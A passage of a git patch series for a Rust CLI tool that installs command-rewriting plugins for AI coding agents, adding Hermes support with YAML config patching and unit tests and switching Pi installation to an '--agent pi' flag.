items.push(trimmed.to_string()); + saw_rtk = true; + } + } else { + items.push(trimmed.to_string()); + } + } + + if add_rtk && !saw_rtk { + items.push(HERMES_PLUGIN_NAME.to_string()); + } + + let replacement = if items.is_empty() { + format!("{}[]{}{}", prefix, suffix, line_ending) + } else { + format!("{}[{}]{}{}", prefix, items.join(", "), suffix, line_ending) + }; + lines[enabled_idx] = replacement; +} + +fn rewrite_block_hermes_enabled(lines: &mut Vec, enabled_idx: usize, add_rtk: bool) { + let enabled_end = hermes_enabled_list_end(lines, enabled_idx); + let item_indent = hermes_enabled_list_item_indent(lines, enabled_idx, enabled_end); + let mut kept = Vec::with_capacity(lines.len() + 1); + let mut saw_rtk = false; + + for line in &lines[enabled_idx + 1..enabled_end] { + if is_yaml_list_item_named(line, HERMES_PLUGIN_NAME) { + if add_rtk && !saw_rtk { + kept.push(line.clone()); + saw_rtk = true; + } + continue; + } + + kept.push(line.clone()); + } + + if add_rtk && !saw_rtk { + let insert_idx = kept.len(); + ensure_previous_yaml_line_ends_with_newline(&mut kept, insert_idx); + kept.push(format!( + "{}- {}\n", + " ".repeat(item_indent), + HERMES_PLUGIN_NAME + )); + } + + let mut enabled_line = if add_rtk || kept.iter().any(|line| is_yaml_list_item_line(line)) { + lines[enabled_idx].clone() + } else { + collapse_yaml_list_key_to_empty(&lines[enabled_idx]) + }; + + if add_rtk + && kept + .iter() + .any(|line| is_yaml_list_item_named(line, HERMES_PLUGIN_NAME)) + && !enabled_line.ends_with('\n') + { + enabled_line.push('\n'); + } + + let mut patched = Vec::with_capacity(lines.len() + 1); + patched.extend_from_slice(&lines[..enabled_idx]); + patched.push(enabled_line); + patched.extend(kept); + patched.extend_from_slice(&lines[enabled_end..]); + *lines = patched; +} + +fn hermes_enabled_list_end(lines: &[String], enabled_idx: usize) -> usize { + let enabled_indent = yaml_indent(&lines[enabled_idx]); + + lines[enabled_idx + 1..] + .iter() + .enumerate() + .find_map(|(offset, line)| { + let raw = yaml_line_without_ending(line); + let trimmed = raw.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + return None; + } + + let indent = yaml_indent(line); + if indent < enabled_indent + || (indent == enabled_indent && !is_yaml_list_item_line(line)) + { + return Some(enabled_idx + 1 + offset); + } + + None + }) + .unwrap_or(lines.len()) +} + +fn hermes_enabled_list_item_indent( + lines: &[String], + enabled_idx: usize, + enabled_end: usize, +) -> usize { + lines[enabled_idx + 1..enabled_end] + .iter() + .find(|line| is_yaml_list_item_line(line)) + .map(|line| yaml_indent(line)) + .unwrap_or_else(|| yaml_indent(&lines[enabled_idx]) + 2) +} + +fn hermes_missing_enabled_indents( + lines: &[String], + plugins_idx: usize, + plugins_end: usize, + plugins_indent: usize, +) -> (usize, usize) { + let child_indent = lines[plugins_idx + 1..plugins_end] + .iter() + .filter_map(|line| { + let raw = yaml_line_without_ending(line); + let trimmed = raw.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + return None; + } + + let indent = yaml_indent(line); + (indent > plugins_indent).then_some(indent) + }) + .min() + .unwrap_or(plugins_indent + 2); + + let uses_indentationless_sequences = lines[plugins_idx + 1..plugins_end] + .iter() + .any(|line| is_yaml_list_item_line(line) && yaml_indent(line) == child_indent); + + let item_indent = if uses_indentationless_sequences { + child_indent + } else { + child_indent + 2 + }; + + (child_indent, item_indent) +} + +fn yaml_line_without_ending(line: &str) -> &str { + line.trim_end_matches(['\r', '\n']) +} + +fn yaml_line_ending(line: &str) -> &str { + if line.ends_with("\r\n") { + "\r\n" + } else if line.ends_with('\n') { + "\n" + } else { + "" + } +} + +fn yaml_indent(line: &str) -> usize { + yaml_line_without_ending(line) + .chars() + .take_while(|ch| ch.is_whitespace()) + .count() +} + +fn is_yaml_list_item_named(line: &str, expected: &str) -> bool { + let trimmed = yaml_line_without_ending(line).trim(); + let Some(item) = trimmed.strip_prefix("- ") else { + return false; + }; + + normalized_yaml_scalar(item).is_some_and(|item| item == expected) +} + +fn is_yaml_list_item_line(line: &str) -> bool { + yaml_line_without_ending(line).trim().starts_with("- ") +} + +fn is_hermes_plugin_name(value: &str) -> bool { + normalized_yaml_scalar(value).is_some_and(|item| item == HERMES_PLUGIN_NAME) +} + +fn collapse_yaml_list_key_to_empty(line: &str) -> String { + let raw = yaml_line_without_ending(line); + let indent = yaml_indent(line); + let Some((key, suffix)) = raw.split_once(':') else { + return format!("{}enabled: []\n", " ".repeat(indent)); + }; + + let comment = suffix + .find('#') + .map(|idx| format!(" {}", suffix[idx..].trim_start())) + .unwrap_or_default(); + + format!("{}: []{}\n", key, comment) +} + +fn normalized_yaml_scalar(value: &str) -> Option { + let without_comment = value.split_once('#').map_or(value, |(item, _)| item); + let trimmed = without_comment.trim().trim_matches(['\'', '"']); + (!trimmed.is_empty()).then(|| trimmed.to_string()) +} + fn run_codex_mode(global: bool, ctx: InitContext) -> Result<()> { let (agents_md_path, rtk_md_path) = if global { let codex_dir = resolve_codex_dir()?; @@ -2195,6 +2697,23 @@ fn resolve_codex_dir_from( .context("Cannot determine Codex config directory. Set $CODEX_HOME or $HOME.") } +fn resolve_hermes_home() -> Result { + resolve_hermes_home_from_env(dirs::home_dir(), std::env::var_os("HERMES_HOME")) +} + +fn resolve_hermes_home_from_env( + home_dir: Option, + hermes_home: Option, +) -> Result { + if let Some(path) = hermes_home.filter(|value| !value.is_empty()) { + return Ok(PathBuf::from(path)); + } + + home_dir + .map(|home| home.join(HERMES_DIR)) + .context("Cannot determine Hermes home directory. Set $HERMES_HOME or $HOME.") +} + fn codex_rtk_md_ref(codex_dir: &Path) -> String { format!("@{}", codex_dir.join(RTK_MD).display()) } @@ -3550,6 +4069,490 @@ mod tests { assert_eq!(content.matches("@RTK.md").count(), 1); } + #[test] + fn test_hermes_mode_creates_plugin_files() { + let temp = TempDir::new().unwrap(); + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + + let plugin_dir = temp.path().join("plugins/rtk-rewrite"); + let init_path = plugin_dir.join("__init__.py"); + let manifest_path = plugin_dir.join("plugin.yaml"); + let config_path = temp.path().join("config.yaml"); + + assert!(init_path.exists(), "Python plugin should be created"); + assert!(manifest_path.exists(), "Plugin manifest should be created"); + assert_eq!( + fs::read_to_string(&init_path).unwrap(), + include_str!("../../hooks/hermes/rtk-rewrite/__init__.py") + ); + assert_eq!( + fs::read_to_string(&manifest_path).unwrap(), + include_str!("../../hooks/hermes/rtk-rewrite/plugin.yaml") + ); + + let config = fs::read_to_string(&config_path).unwrap(); + assert!(config.contains("plugins:\n")); + assert!(config.contains(" enabled:\n")); + assert_eq!(config.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_mode_preserves_config_and_is_idempotent() { + let temp = TempDir::new().unwrap(); + let config_path = temp.path().join("config.yaml"); + fs::write( + &config_path, + "theme: dark\nplugins:\n enabled:\n - existing-plugin\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + let first = fs::read_to_string(&config_path).unwrap(); + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + let second = fs::read_to_string(&config_path).unwrap(); + + assert_eq!(first, second, "Hermes config patch should be idempotent"); + assert!(first.contains("theme: dark\n")); + assert!(first.contains(" - existing-plugin\n")); + assert!(first.contains(" search_path: ./plugins\n")); + assert!(first.contains("other: true\n")); + assert_eq!(first.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_mode_preserves_pyyaml_same_indent_config_and_is_idempotent() { + let temp = TempDir::new().unwrap(); + let config_path = temp.path().join("config.yaml"); + fs::write( + &config_path, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + let first = fs::read_to_string(&config_path).unwrap(); + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + let second = fs::read_to_string(&config_path).unwrap(); + + let expected = "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n - rtk-rewrite\n search_path: ./plugins\nother: true\n"; + assert_eq!(first, expected); + assert_eq!( + second, expected, + "Hermes PyYAML config patch should be idempotent" + ); + assert_eq!(first.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_mode_patches_and_uninstalls_pyyaml_same_indent_missing_enabled_idempotently() { + let temp = TempDir::new().unwrap(); + let hermes_home = temp.path(); + let plugin_dir = hermes_home.join("plugins").join(HERMES_PLUGIN_NAME); + let other_plugin_dir = hermes_home.join("plugins/keep-me"); + let other_plugin_file = other_plugin_dir.join("plugin.yaml"); + let config_path = hermes_home.join("config.yaml"); + + fs::create_dir_all(&other_plugin_dir).unwrap(); + fs::write(&other_plugin_file, "keep").unwrap(); + fs::write( + &config_path, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + run_hermes_mode_at(hermes_home, InitContext::default()).unwrap(); + let first = fs::read_to_string(&config_path).unwrap(); + run_hermes_mode_at(hermes_home, InitContext::default()).unwrap(); + let second = fs::read_to_string(&config_path).unwrap(); + + let installed = "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\n enabled:\n - rtk-rewrite\nother: true\n"; + assert_eq!(first, installed); + assert_eq!(second, installed); + assert_eq!(first.matches("rtk-rewrite").count(), 1); + assert!(plugin_dir.exists()); + assert_eq!(fs::read_to_string(&other_plugin_file).unwrap(), "keep"); + + let removed_first = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + let removed_second = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + + assert_eq!(removed_first.len(), 2); + assert!(removed_second.is_empty()); + assert!(!plugin_dir.exists()); + assert!(other_plugin_dir.exists()); + assert_eq!(fs::read_to_string(&other_plugin_file).unwrap(), "keep"); + + let uninstalled = fs::read_to_string(&config_path).unwrap(); + assert_eq!( + uninstalled, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\n enabled: []\nother: true\n" + ); + assert!(!uninstalled.contains("\n - \n")); + assert!(!uninstalled.contains("\n -\n")); + assert_eq!(uninstalled.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_uninstall_hermes_at_removes_plugin_dir_and_cleans_config() { + let temp = TempDir::new().unwrap(); + let hermes_home = temp.path(); + let plugin_dir = hermes_home.join("plugins").join(HERMES_PLUGIN_NAME); + let nested_plugin_file = plugin_dir.join("nested/marker.txt"); + let other_plugin_dir = hermes_home.join("plugins/keep-me"); + let other_plugin_file = other_plugin_dir.join("plugin.yaml"); + let config_path = hermes_home.join("config.yaml"); + + fs::create_dir_all(nested_plugin_file.parent().unwrap()).unwrap(); + fs::write(&nested_plugin_file, "rtk").unwrap(); + fs::create_dir_all(&other_plugin_dir).unwrap(); + fs::write(&other_plugin_file, "keep").unwrap(); + fs::write( + &config_path, + "theme: dark\nplugins:\n enabled:\n - existing-plugin\n - rtk-rewrite\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + let removed_first = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + let removed_second = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + + assert_eq!(removed_first.len(), 2); + assert!(removed_second.is_empty()); + assert!(!plugin_dir.exists()); + assert!(other_plugin_dir.exists()); + assert_eq!(fs::read_to_string(&other_plugin_file).unwrap(), "keep"); + + let config = fs::read_to_string(&config_path).unwrap(); + assert!(config.contains("theme: dark\n")); + assert!(config.contains(" - existing-plugin\n")); + assert!(config.contains(" search_path: ./plugins\n")); + assert!(config.contains("other: true\n")); + assert_eq!(config.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_uninstall_hermes_at_cleans_pyyaml_same_indent_config_idempotently() { + let temp = TempDir::new().unwrap(); + let hermes_home = temp.path(); + let plugin_dir = hermes_home.join("plugins").join(HERMES_PLUGIN_NAME); + let nested_plugin_file = plugin_dir.join("nested/marker.txt"); + let other_plugin_dir = hermes_home.join("plugins/keep-me"); + let other_plugin_file = other_plugin_dir.join("plugin.yaml"); + let config_path = hermes_home.join("config.yaml"); + + fs::create_dir_all(nested_plugin_file.parent().unwrap()).unwrap(); + fs::write(&nested_plugin_file, "rtk").unwrap(); + fs::create_dir_all(&other_plugin_dir).unwrap(); + fs::write(&other_plugin_file, "keep").unwrap(); + fs::write( + &config_path, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n - rtk-rewrite\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + let removed_first = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + let removed_second = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + + assert_eq!(removed_first.len(), 2); + assert!(removed_second.is_empty()); + assert!(!plugin_dir.exists()); + assert!(other_plugin_dir.exists()); + assert_eq!(fs::read_to_string(&other_plugin_file).unwrap(), "keep"); + + let config = fs::read_to_string(&config_path).unwrap(); + assert_eq!( + config, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n search_path: ./plugins\nother: true\n" + ); + assert!(!config.contains("\n - \n")); + assert!(!config.contains("\n -\n")); + assert_eq!(config.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_uninstall_hermes_at_missing_files_is_idempotent() { + let temp = TempDir::new().unwrap(); + let hermes_home = temp.path(); + + let removed_first = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + let removed_second = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + + assert!(removed_first.is_empty()); + assert!(removed_second.is_empty()); + assert!(!hermes_home.join("plugins").exists()); + assert!(!hermes_home.join("config.yaml").exists()); + } + + #[test] + fn test_hermes_config_patch_adds_missing_enabled_list() { + let existing = "theme: dark\nplugins:\n search_path: ./plugins\nother: true\n"; + let patched = patch_hermes_config(existing); + + assert!(patched.contains("theme: dark\n")); + assert!(patched.contains("plugins:\n")); + assert!(patched.contains(" search_path: ./plugins\n")); + assert!(patched.contains(" enabled:\n - rtk-rewrite\n")); + assert!(patched.contains("other: true\n")); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_removes_duplicate_rtk_rewrite() { + let existing = "plugins:\n enabled:\n - rtk-rewrite\n - other\n - rtk-rewrite\n"; + let patched = patch_hermes_config(existing); + + assert!(patched.contains(" - other\n")); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_indentationless_enabled_list() { + let existing = + "plugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_default_compact_enabled_list() { + let existing = "plugins:\n enabled:\n - foo\n"; + + let patched = patch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled:\n - foo\n - rtk-rewrite\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_indentationless_missing_enabled_list() { + let existing = + "plugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\n"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\n enabled:\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_indentationless_enabled_is_idempotent() { + let existing = "plugins:\n enabled:\n - disk-cleanup\n disabled:\n - spotify\n"; + + let patched_once = patch_hermes_config(existing); + let patched_twice = patch_hermes_config(&patched_once); + + assert_eq!( + patched_once, + "plugins:\n enabled:\n - disk-cleanup\n - rtk-rewrite\n disabled:\n - spotify\n" + ); + assert_eq!(patched_twice, patched_once); + assert_eq!(patched_once.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_indentationless_final_line_without_newline() { + let existing = "plugins:\n enabled:\n - disk-cleanup"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n enabled:\n - disk-cleanup\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_block_enabled_final_line_without_newline() { + let existing = "plugins:\n enabled:\n - existing-plugin"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n enabled:\n - existing-plugin\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_missing_enabled_after_final_child_without_newline() { + let existing = "plugins:\n search_path: ./plugins"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n search_path: ./plugins\n enabled:\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_empty_enabled_final_line_without_newline() { + let existing = "plugins:\n enabled:"; + + let patched = patch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled:\n - rtk-rewrite\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_inline_enabled_is_idempotent() { + let existing = "theme: dark\nplugins:\n enabled: [existing-plugin, rtk-rewrite] # keep\n search_path: ./plugins\nother: true\n"; + + let patched = patch_hermes_config(existing); + + assert_eq!(patched, existing); + assert_eq!(patch_hermes_config(&patched), patched); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_inline_enabled_without_final_newline_is_idempotent() { + let existing = "plugins:\n enabled: [existing-plugin, rtk-rewrite]"; + + let patched = patch_hermes_config(existing); + + assert_eq!(patched, existing); + assert_eq!(patch_hermes_config(&patched), patched); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_unpatch_inline_enabled_without_rtk_preserves_missing_final_newline() { + let existing = "plugins:\n enabled: [existing-plugin]"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, existing); + } + + #[test] + fn test_hermes_config_unpatch_inline_enabled_preserves_unrelated_entries() { + let existing = "theme: dark\nplugins:\n enabled: [alpha, rtk-rewrite, beta] # keep comment\n search_path: ./plugins\nother: true\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!( + patched, + "theme: dark\nplugins:\n enabled: [alpha, beta] # keep comment\n search_path: ./plugins\nother: true\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_inline_enabled_final_line_without_newline() { + let existing = "plugins:\n enabled: [existing-plugin, rtk-rewrite]"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled: [existing-plugin]"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_removes_duplicate_inline_rtk_rewrite() { + let existing = "plugins:\n enabled: [alpha, rtk-rewrite, beta, rtk-rewrite]\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled: [alpha, beta]\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_removes_duplicate_block_rtk_rewrite() { + let existing = "plugins:\n enabled:\n - rtk-rewrite\n - other\n - rtk-rewrite\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled:\n - other\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_pyyaml_indentationless_enabled_list() { + let existing = "plugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n - rtk-rewrite\n search_path: ./plugins\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n search_path: ./plugins\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_pyyaml_indentationless_only_rtk_collapses_to_empty() { + let existing = "plugins:\n enabled:\n - rtk-rewrite\n search_path: ./plugins\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled: []\n search_path: ./plugins\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_block_enabled_final_line_without_newline() { + let existing = "plugins:\n enabled:\n - existing-plugin\n - rtk-rewrite"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled:\n - existing-plugin\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_block_enabled_without_rtk_preserves_missing_final_newline() { + let existing = "plugins:\n enabled:\n - existing-plugin"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, existing); + } + + #[test] + fn test_hermes_config_unpatch_preserves_quoted_exact_values() { + let existing = "plugins:\n enabled:\n - 'alpha'\n - \"rtk-rewrite\"\n - 'beta'\n search_path: ./plugins\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n enabled:\n - 'alpha'\n - 'beta'\n search_path: ./plugins\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_leaves_missing_enabled_list_unchanged() { + let existing = "theme: dark\nplugins:\n search_path: ./plugins\nother: true\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, existing); + } + + #[test] + fn test_hermes_config_unpatch_collapses_empty_enabled_list() { + let existing = "plugins:\n enabled:\n - rtk-rewrite\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled: []\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + #[test] fn test_run_codex_mode_global_writes_absolute_reference_to_codex_dir() { let temp = TempDir::new().unwrap(); @@ -3588,6 +4591,30 @@ mod tests { assert_eq!(missing_falls_back, home_dir.join(".codex")); } + #[test] + fn test_resolve_hermes_home_prefers_hermes_home() { + let hermes_home = OsString::from("~/custom hermes home"); + let home_dir = PathBuf::from("/tmp/home"); + + let resolved = + resolve_hermes_home_from_env(Some(home_dir), Some(hermes_home.clone())).unwrap(); + + assert_eq!(resolved, PathBuf::from(hermes_home)); + } + + #[test] + fn test_resolve_hermes_home_empty_env_falls_back_to_home() { + let home_dir = PathBuf::from("/tmp/home"); + + let empty_falls_back = + resolve_hermes_home_from_env(Some(home_dir.clone()), Some(OsString::new())).unwrap(); + let missing_falls_back = + resolve_hermes_home_from_env(Some(home_dir.clone()), None).unwrap(); + + assert_eq!(empty_falls_back, home_dir.join(".hermes")); + assert_eq!(missing_falls_back, home_dir.join(".hermes")); + } + #[test] fn test_uninstall_codex_at_is_idempotent() { let temp = TempDir::new().unwrap(); diff --git a/src/main.rs b/src/main.rs index d11fcfac7a..d6d0aa4f34 100644 --- a/src/main.rs +++ b/src/main.rs @@ -45,6 +45,8 @@ pub enum AgentTarget { Kilocode, /// Google Antigravity Antigravity, + /// Hermes CLI + Hermes, } #[derive(Parser)] @@ -1348,6 +1350,27 @@ fn main() { std::process::exit(code); } +fn uninstall_init_dispatch( + agent: Option, + global: bool, + gemini: bool, + codex: bool, + ctx: hooks::init::InitContext, + uninstall_hermes: UninstallHermes, + uninstall_standard: UninstallStandard, +) -> Result<()> +where + UninstallHermes: FnOnce(hooks::init::InitContext) -> Result<()>, + UninstallStandard: FnOnce(bool, bool, bool, bool, hooks::init::InitContext) -> Result<()>, +{ + if agent == Some(AgentTarget::Hermes) { + uninstall_hermes(ctx) + } else { + let cursor = agent == Some(AgentTarget::Cursor); + uninstall_standard(global, gemini, codex, cursor, ctx) + } +} + fn run_cli() -> Result { // Fire-and-forget telemetry ping (1/day, non-blocking) core::telemetry::maybe_ping(); @@ -1776,8 +1799,15 @@ fn run_cli() -> Result { if show { hooks::init::show_config(codex)?; } else if uninstall { - let cursor = agent == Some(AgentTarget::Cursor); - hooks::init::uninstall(global, gemini, codex, cursor, ctx)?; + uninstall_init_dispatch( + agent, + global, + gemini, + codex, + ctx, + hooks::init::uninstall_hermes, + hooks::init::uninstall, + )?; } else if gemini { let patch_mode = if auto_patch { hooks::init::PatchMode::Auto @@ -1801,6 +1831,8 @@ fn run_cli() -> Result { ); } hooks::init::run_antigravity_mode(ctx)?; + } else if agent == Some(AgentTarget::Hermes) { + hooks::init::run_hermes_mode(ctx)?; } else { let install_opencode = opencode; let install_claude = !opencode; @@ -2459,6 +2491,7 @@ fn is_operational_command(cmd: &Commands) -> bool { mod tests { use super::*; use clap::Parser; + use std::cell::Cell; #[test] fn test_git_commit_single_message() { @@ -2593,6 +2626,63 @@ mod tests { assert!(result.is_ok(), "git status should parse successfully"); } + #[test] + fn test_try_parse_init_agent_hermes() { + let cli = Cli::try_parse_from(["rtk", "init", "--agent", "hermes"]).unwrap(); + match cli.command { + Commands::Init { agent, .. } => { + assert_eq!(agent, Some(AgentTarget::Hermes)); + } + _ => panic!("Expected Init command"), + } + } + + #[test] + fn test_try_parse_init_agent_hermes_uninstall() { + let cli = Cli::try_parse_from(["rtk", "init", "--agent", "hermes", "--uninstall"]).unwrap(); + match cli.command { + Commands::Init { + agent, uninstall, .. + } => { + assert_eq!(agent, Some(AgentTarget::Hermes)); + assert!(uninstall); + } + _ => panic!("Expected Init command"), + } + } + + #[test] + fn test_init_uninstall_dispatch_routes_hermes_to_hermes_cleanup() { + let hermes_called = Cell::new(false); + let standard_called = Cell::new(false); + let ctx = hooks::init::InitContext { + verbose: 2, + dry_run: true, + }; + + let result = uninstall_init_dispatch( + Some(AgentTarget::Hermes), + true, + false, + false, + ctx, + |ctx| { + hermes_called.set(true); + assert_eq!(ctx.verbose, 2); + assert!(ctx.dry_run); + Ok(()) + }, + |_, _, _, _, _| { + standard_called.set(true); + Ok(()) + }, + ); + + assert!(result.is_ok()); + assert!(hermes_called.get()); + assert!(!standard_called.get()); + } + #[test] fn test_try_parse_help_is_display_help() { match Cli::try_parse_from(["rtk", "--help"]) { From f7c4bf6ba1db02631dd9c4bbc7d64e9837a06bbd Mon Sep 17 00:00:00 2001 From: Kayphoon <109347466+Kayphoon@users.noreply.github.com> Date: Tue, 12 May 2026 00:32:48 +0800 Subject: [PATCH 087/257] style(hooks): format BOM helper assertion --- src/hooks/hook_cmd.rs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 5f64ac7b18..36825e3c5e 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -886,10 +886,7 @@ mod tests { assert_eq!(strip_leading_bom("hello"), "hello"); assert_eq!(strip_leading_bom("\u{feff}hello"), "hello"); assert_eq!(strip_leading_bom("\u{feff}\u{feff}hello"), "hello"); - assert_eq!( - strip_leading_bom("\u{feff}\u{feff}\u{feff}hello"), - "hello" - ); + assert_eq!(strip_leading_bom("\u{feff}\u{feff}\u{feff}hello"), "hello"); // BOM in the middle is preserved (not "leading"). assert_eq!(strip_leading_bom("a\u{feff}b"), "a\u{feff}b"); } From cb1661e68d995e72bec49fb0e619fd8178f376a4 Mon Sep 17 00:00:00 2001 From: gitbluf Date: Mon, 11 May 2026 21:46:46 +0200 Subject: [PATCH 088/257] feat(init): remove --pi flag, canonicalize Pi install to --agent pi chore: sync the codebase after mergew --- .../guide/getting-started/supported-agents.md | 9 +++-- hooks/README.md | 14 ++++--- hooks/pi/README.md | 8 ++-- src/hooks/README.md | 2 +- src/hooks/init.rs | 37 ++++++++++--------- src/main.rs | 35 ++++++++---------- 6 files changed, 53 insertions(+), 52 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 16f30615fc..b7fb920deb 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -90,9 +90,10 @@ Creates `~/.config/opencode/plugins/rtk.ts`. Uses the `tool.execute.before` hook ```bash # Project-local (default) -rtk init --pi +rtk init --agent pi + # Global — all projects -rtk init --pi --global +rtk init --agent pi --global ``` Creates `.pi/extensions/rtk.ts` (local) or `~/.pi/agent/extensions/rtk.ts` (global). Pi auto-discovers extensions from both paths on startup. @@ -100,8 +101,8 @@ Creates `.pi/extensions/rtk.ts` (local) or `~/.pi/agent/extensions/rtk.ts` (glob Uninstall: ```bash -rtk init --uninstall --pi -rtk init --uninstall --pi --global +rtk init --uninstall --agent pi +rtk init --uninstall --agent pi --global ``` Removes only the installed Pi extension file. diff --git a/hooks/README.md b/hooks/README.md index 6a485dd176..55b2149ddf 100644 --- a/hooks/README.md +++ b/hooks/README.md @@ -64,6 +64,7 @@ Each agent subdirectory has its own README with hook-specific details: ### Claude Code (Shell Hook) **Input** (stdin): + ```json { "tool_name": "Bash", @@ -72,6 +73,7 @@ Each agent subdirectory has its own README with hook-specific details: ``` **Output** (stdout, when rewritten): + ```json { "hookSpecificOutput": { @@ -88,6 +90,7 @@ Each agent subdirectory has its own README with hook-specific details: **Input**: Same as Claude Code. **Output** (stdout, when rewritten): + ```json { "permission": "allow", @@ -100,6 +103,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ### Copilot CLI (Rust Binary) **Input** (stdin, camelCase, `toolArgs` is JSON-stringified): + ```json { "toolName": "bash", @@ -108,6 +112,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ``` 